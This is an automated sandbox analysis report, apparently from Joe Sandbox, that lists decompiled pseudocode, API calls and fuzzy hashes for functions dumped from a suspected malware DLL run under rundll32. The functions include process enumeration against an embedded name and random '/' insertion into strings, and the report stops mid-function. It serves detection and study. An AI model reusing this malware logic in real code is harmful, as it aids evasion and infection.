                    • Opcode ID: 423b7228e09bd5751ae5cbe21142267069e6fdc3099147178e1297162bce704a
                    • Instruction ID: 963c5039d0eed814a89cffe4964fc8b1e981858033d453dae20c980ee2a1aeb4
                    • Opcode Fuzzy Hash: 423b7228e09bd5751ae5cbe21142267069e6fdc3099147178e1297162bce704a
                    • Instruction Fuzzy Hash: 2721E432AD03516BDF359A689C4CB6B73E9EBC8B18B050A29FD5597140DF30CA029B98
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C969E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E02C969E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E02C92A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E02C928B3(_t23);
						}
					}
					return _t38;
				}
				if(E02C96ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x2c9a34c, 1, 0,  *0x2c9a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E02C95704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E02C94C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E02C97220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E02C949D0( &_v32, _t39);
					goto L13;
				}
			}












                    0x02c969e6
                    0x02c969f3
                    0x02c969f9
                    0x02c969fa
                    0x02c969fb
                    0x02c969fc
                    0x02c969fd
                    0x02c96a01
                    0x02c96a0d
                    0x02c96a11
                    0x02c96a99
                    0x02c96a99
                    0x02c96a9c
                    0x02c96a9e
                    0x02c96aa6
                    0x02c96aac
                    0x02c96aaf
                    0x02c96aaf
                    0x02c96aac
                    0x02c96aba
                    0x02c96aba
                    0x02c96a24
                    0x02c96a26
                    0x02c96a26
                    0x02c96a3d
                    0x02c96a41
                    0x02c96a44
                    0x02c96a4f
                    0x02c96a56
                    0x02c96a56
                    0x02c96a5f
                    0x02c96a63
                    0x02c96a71
                    0x02c96a65
                    0x02c96a65
                    0x02c96a66
                    0x02c96a67
                    0x02c96a68
                    0x02c96a69
                    0x02c96a6a
                    0x02c96a6a
                    0x02c96a76
                    0x02c96a79
                    0x02c96a7d
                    0x02c96a7f
                    0x02c96a7f
                    0x02c96a86
                    0x00000000
                    0x02c96a88
                    0x02c96a88
                    0x02c96a95
                    0x00000000
                    0x02c96a95

                    APIs
                    • CreateEventA.KERNEL32(02C9A34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 02C96A37
                    • SetEvent.KERNEL32(00000000), ref: 02C96A44
                    • Sleep.KERNEL32(00000BB8), ref: 02C96A4F
                    • CloseHandle.KERNEL32(00000000), ref: 02C96A56
                      • Part of subcall function 02C95704: WaitForSingleObject.KERNEL32(00000000,?,?,?,02C96A76,?,02C96A76,?,?,?,?,?,02C96A76,?), ref: 02C957DE
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                    • String ID:
                    • API String ID: 2559942907-0
                    • Opcode ID: 643c21c6f0aecc265d3e4104bbc4dfd281d226b1543cc77c0cd158b346667216
                    • Instruction ID: 5f47ed24627ecfaf34f1d879c072b78cc2e9dedab23e1281730a418c5ad3aa03
                    • Opcode Fuzzy Hash: 643c21c6f0aecc265d3e4104bbc4dfd281d226b1543cc77c0cd158b346667216
                    • Instruction Fuzzy Hash: 8721A773D40119AFDF20BFF5848C9EE77BDEF48314B158429EA12A7140DB359A85CBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C94461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 78%
                    			E02C94461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E02C933DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                    0x02c9446d
                    0x02c94471
                    0x02c94472
                    0x02c94473
                    0x02c94475
                    0x02c94477
                    0x02c9447a
                    0x02c9447f
                    0x02c94516
                    0x02c9451d
                    0x02c9451d
                    0x02c94488
                    0x02c9448f
                    0x02c9449f
                    0x02c9449f
                    0x02c944a5
                    0x02c944a7
                    0x02c944ac
                    0x02c944b5
                    0x02c944bb
                    0x02c944c0
                    0x02c944cb
                    0x02c944cf
                    0x02c944d1
                    0x02c944d2
                    0x02c944db
                    0x02c944df
                    0x02c944f0
                    0x02c944e1
                    0x02c944e6
                    0x02c944eb
                    0x02c944fa
                    0x02c944fa
                    0x02c944cf
                    0x02c94500
                    0x02c94506
                    0x02c94506
                    0x02c9450f
                    0x02c94514
                    0x02c94514
                    0x00000000

                    APIs
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: FreeSleepStringlstrlenmemcpy
                    • String ID:
                    • API String ID: 1198164300-0
                    • Opcode ID: a8f44ae8389f2a6792883cc7d7ad7a43b8487ec94266c97b4f29cca82a47f425
                    • Instruction ID: 59f51516415694a081fb6ce447c5d0dc2db0796a5dcf6c2d0ef1487f760aacc5
                    • Opcode Fuzzy Hash: a8f44ae8389f2a6792883cc7d7ad7a43b8487ec94266c97b4f29cca82a47f425
                    • Instruction Fuzzy Hash: F7213D79900209EFCF15DFE8D98899EBBB9FF49315B1081A9E916A7200EB30DA11DF50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C92708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E02C92708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x2c9a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x2c9a2f0; // 0x6c7a6d3d
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x2c9a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                    0x02c92710
                    0x02c92713
                    0x02c92719
                    0x02c92731
                    0x02c92733
                    0x02c92738
                    0x02c9273a
                    0x02c9273d
                    0x02c9273f
                    0x02c92742
                    0x02c92744
                    0x02c92744
                    0x02c92746
                    0x02c92751
                    0x02c92756
                    0x02c92767
                    0x02c9276f
                    0x02c92774
                    0x02c92777
                    0x02c9277a
                    0x02c9277c
                    0x02c9277f
                    0x02c92782
                    0x02c92782
                    0x02c92785
                    0x02c92790
                    0x02c92795
                    0x02c9279f

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,02C96708,00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C92713
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 02C9272B
                    • memcpy.NTDLL(00000000,05429600,-00000008,?,?,?,02C96708,00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C9276F
                    • memcpy.NTDLL(00000001,05429600,00000001,02C93ECE,00000000,05429600), ref: 02C92790
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: memcpy$AllocateHeaplstrlen
                    • String ID:
                    • API String ID: 1819133394-0
                    • Opcode ID: e9c30c9b83a6992855be64e8014e5a0c51ea66cfada14d5faf582d4b9a2059fd
                    • Instruction ID: 1a1e15d7596221444bf2c30bfb2e3d36638bf30cf19d1079673de2e87b13cc43
                    • Opcode Fuzzy Hash: e9c30c9b83a6992855be64e8014e5a0c51ea66cfada14d5faf582d4b9a2059fd
                    • Instruction Fuzzy Hash: 0D11C672A00215BFDB108A69DC8CE9E7BAEEBD4360B150276F914D7150E7719E1497A0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C930D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E02C930D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x2c9a348; // 0x278d5a8
						_t2 = _t9 + 0x2c9be88; // 0x73617661
						_push( &_v264);
						if( *0x2c9a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}









                    0x02c930e0
                    0x02c930ea
                    0x02c930ee
                    0x02c930f8
                    0x02c93129
                    0x02c930ff
                    0x02c93104
                    0x02c93111
                    0x02c9311a
                    0x02c93131
                    0x02c9311c
                    0x02c93124
                    0x00000000
                    0x02c93124
                    0x02c93132
                    0x02c93133
                    0x00000000
                    0x02c93133
                    0x00000000
                    0x02c9312d
                    0x02c93139
                    0x02c9313e

                    APIs
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C930E5
                    • Process32First.KERNEL32(00000000,?), ref: 02C930F8
                    • Process32Next.KERNEL32(00000000,?), ref: 02C93124
                    • CloseHandle.KERNEL32(00000000), ref: 02C93133
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                    • String ID:
                    • API String ID: 420147892-0
                    • Opcode ID: 2104ecccf5b54e1c0824728fb2b43effb69d23d79ac3f8fd09d38e4fea079f81
                    • Instruction ID: 22729b96f5369c3c0f159075f97c8ca4ca979606ba81550f79ea7ae903a1d662
                    • Opcode Fuzzy Hash: 2104ecccf5b54e1c0824728fb2b43effb69d23d79ac3f8fd09d38e4fea079f81
                    • Instruction Fuzzy Hash: 21F054325411A4AADF20A6679C4DFEB76ADDBC5754F0101A1EE59D3000EB30DA69CEA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C97843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C97843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                    0x02c9784d
                    0x02c97851
                    0x02c97866
                    0x02c97868
                    0x02c9786d
                    0x02c97873
                    0x02c97875
                    0x02c9787a
                    0x02c97885
                    0x02c9787c
                    0x02c9787c
                    0x02c9787c
                    0x02c9787a
                    0x02c97893

                    APIs
                    • memset.NTDLL ref: 02C97851
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 02C97866
                    • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02C97873
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,02C93F34,00000000,?), ref: 02C97885
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: CreateEvent$CloseHandlememset
                    • String ID:
                    • API String ID: 2812548120-0
                    • Opcode ID: 4124491fe24b6d18675f8d41ae7749d01d1bccc63310d6684175ddc4a51c5573
                    • Instruction ID: 6d245f9319ce8c8055e01978539c656d92de5e6330578e96af48c770d353b8df
                    • Opcode Fuzzy Hash: 4124491fe24b6d18675f8d41ae7749d01d1bccc63310d6684175ddc4a51c5573
                    • Instruction Fuzzy Hash: 6CF05EF15053087FD7206F26DCC8C7BFBACEF8519CB114E7EF156A2111D671A9188AA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C81F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x2c841b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x2c841bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x2c841ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0x2c841a8 = _t5;
						 *0x2c841b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x2c841a4 = _t6;
						if(_t6 == 0) {
							 *0x2c841a4 =  *0x2c841a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                    0x02c81f1f
                    0x02c81f2d
                    0x02c81f33
                    0x02c81f3a
                    0x02c81f91
                    0x02c81f91
                    0x02c81f3c
                    0x02c81f44
                    0x02c81f51
                    0x02c81f51
                    0x02c81f8d
                    0x02c81f8f
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c81f46
                    0x02c81f4d
                    0x02c81f53
                    0x02c81f53
                    0x02c81f58
                    0x02c81f66
                    0x02c81f6b
                    0x02c81f71
                    0x02c81f77
                    0x02c81f7e
                    0x02c81f80
                    0x02c81f80
                    0x02c81f8a
                    0x02c81f4f
                    0x02c81f4f
                    0x00000000
                    0x02c81f4f
                    0x02c81f4d

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,02C81231), ref: 02C81F2D
                    • GetVersion.KERNEL32 ref: 02C81F3C
                    • GetCurrentProcessId.KERNEL32 ref: 02C81F58
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02C81F71
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentEventOpenVersion
                    • String ID:
                    • API String ID: 845504543-0
                    • Opcode ID: 4a146b21854af8e0d9d6eab447c50b8bc0f5c910fd02c2a90dd72a7cbf0aed9a
                    • Instruction ID: d43c7c87e7a2c2d1083d56d320dd938b97dcea32ce8de7101f3a06bcd09226d8
                    • Opcode Fuzzy Hash: 4a146b21854af8e0d9d6eab447c50b8bc0f5c910fd02c2a90dd72a7cbf0aed9a
                    • Instruction Fuzzy Hash: 61F0A471EC4352AFEB349F68BC097A53BA0A745B15F04CB65F509E71C0E3B185A28B44
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C93230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C93230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x2c9a30c; // 0x2c0
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x2c9a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x2c9a30c; // 0x2c0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x2c9a2d8; // 0x5030000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                    0x02c93230
                    0x02c93237
                    0x02c93281
                    0x02c93283
                    0x02c93283
                    0x02c9323b
                    0x02c93241
                    0x02c93246
                    0x02c9324a
                    0x02c93250
                    0x02c93257
                    0x00000000
                    0x00000000
                    0x02c93259
                    0x02c9325e
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c9325e
                    0x02c93260
                    0x02c93268
                    0x02c9326b
                    0x02c9326b
                    0x02c93271
                    0x02c93278
                    0x02c9327b
                    0x02c9327b
                    0x00000000

                    APIs
                    • SetEvent.KERNEL32(000002C0,00000001,02C9109A), ref: 02C9323B
                    • SleepEx.KERNEL32(00000064,00000001), ref: 02C9324A
                    • CloseHandle.KERNEL32(000002C0), ref: 02C9326B
                    • HeapDestroy.KERNEL32(05030000), ref: 02C9327B
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: CloseDestroyEventHandleHeapSleep
                    • String ID:
                    • API String ID: 4109453060-0
                    • Opcode ID: 65e6e1f6490c2f3c82a705c2d1dfefff0e8d87d46b325000d8be54bbb3f35c45
                    • Instruction ID: be8088a75bfa6b131418409534f95c369941406cf22ae44f961949965aaf4043
                    • Opcode Fuzzy Hash: 65e6e1f6490c2f3c82a705c2d1dfefff0e8d87d46b325000d8be54bbb3f35c45
                    • Instruction Fuzzy Hash: AAF06575F80B9197EF205B35998CB5637ECBB48765B041B94FC15E32C2DB30D550C5A0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 50%
                    			E02C95364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x2c9a3cc; // 0x5429600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x2c9a3cc; // 0x5429600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x2c9a030) {
					HeapFree( *0x2c9a2d8, 0, _t8);
				}
				_t13[1] = E02C912C6(_v0, _t13);
				_t10 =  *0x2c9a3cc; // 0x5429600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                    0x02c95364
                    0x02c95364
                    0x02c9536d
                    0x02c9537d
                    0x02c9537d
                    0x02c95382
                    0x02c95387
                    0x00000000
                    0x00000000
                    0x02c95377
                    0x02c95377
                    0x02c95389
                    0x02c9538d
                    0x02c9539f
                    0x02c9539f
                    0x02c953af
                    0x02c953b2
                    0x02c953b7
                    0x02c953bb
                    0x02c953c1

                    APIs
                    • RtlEnterCriticalSection.NTDLL(054295C0), ref: 02C9536D
                    • Sleep.KERNEL32(0000000A), ref: 02C95377
                    • HeapFree.KERNEL32(00000000,00000000), ref: 02C9539F
                    • RtlLeaveCriticalSection.NTDLL(054295C0), ref: 02C953BB
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: 7e0dff30b03d2151d004b532a58fae479c1d192c7b023f95a4d7947419e5156a
                    • Instruction ID: ad97cfa5c6ef07d5604a36554810024298cf3aa130dfcfa6253c5e132ceb63d9
                    • Opcode Fuzzy Hash: 7e0dff30b03d2151d004b532a58fae479c1d192c7b023f95a4d7947419e5156a
                    • Instruction Fuzzy Hash: 21F05870A80241AFEF219F69DC4CF0A3BF4BF48780B049908F91AC6260CB71D860DB21
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E02C9607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x2c9a3cc; // 0x5429600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x2c9a3cc; // 0x5429600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x2c9a3cc; // 0x5429600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x2c9b142) {
					HeapFree( *0x2c9a2d8, 0, _t10);
					_t7 =  *0x2c9a3cc; // 0x5429600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                    0x02c9607c
                    0x02c96085
                    0x02c96095
                    0x02c96095
                    0x02c9609a
                    0x02c9609f
                    0x00000000
                    0x00000000
                    0x02c9608f
                    0x02c9608f
                    0x02c960a1
                    0x02c960a6
                    0x02c960aa
                    0x02c960bd
                    0x02c960c3
                    0x02c960c3
                    0x02c960cc
                    0x02c960ce
                    0x02c960d2
                    0x02c960d8

                    APIs
                    • RtlEnterCriticalSection.NTDLL(054295C0), ref: 02C96085
                    • Sleep.KERNEL32(0000000A), ref: 02C9608F
                    • HeapFree.KERNEL32(00000000), ref: 02C960BD
                    • RtlLeaveCriticalSection.NTDLL(054295C0), ref: 02C960D2
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: e9fbad9d798737f98bea665cb1170c1b38fca647017cf2d6b32230eed29feb6a
                    • Instruction ID: 73bc34214319bd47cc060f841a1f67b24dd891928110b29432a15eafe7bb4c29
                    • Opcode Fuzzy Hash: e9fbad9d798737f98bea665cb1170c1b38fca647017cf2d6b32230eed29feb6a
                    • Instruction Fuzzy Hash: 83F0FE74AC0201AFEB14CF65DC8DB1577B5BB48305B146A48E917C73D0C735EC64CA59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C92058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 58%
                    			E02C92058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
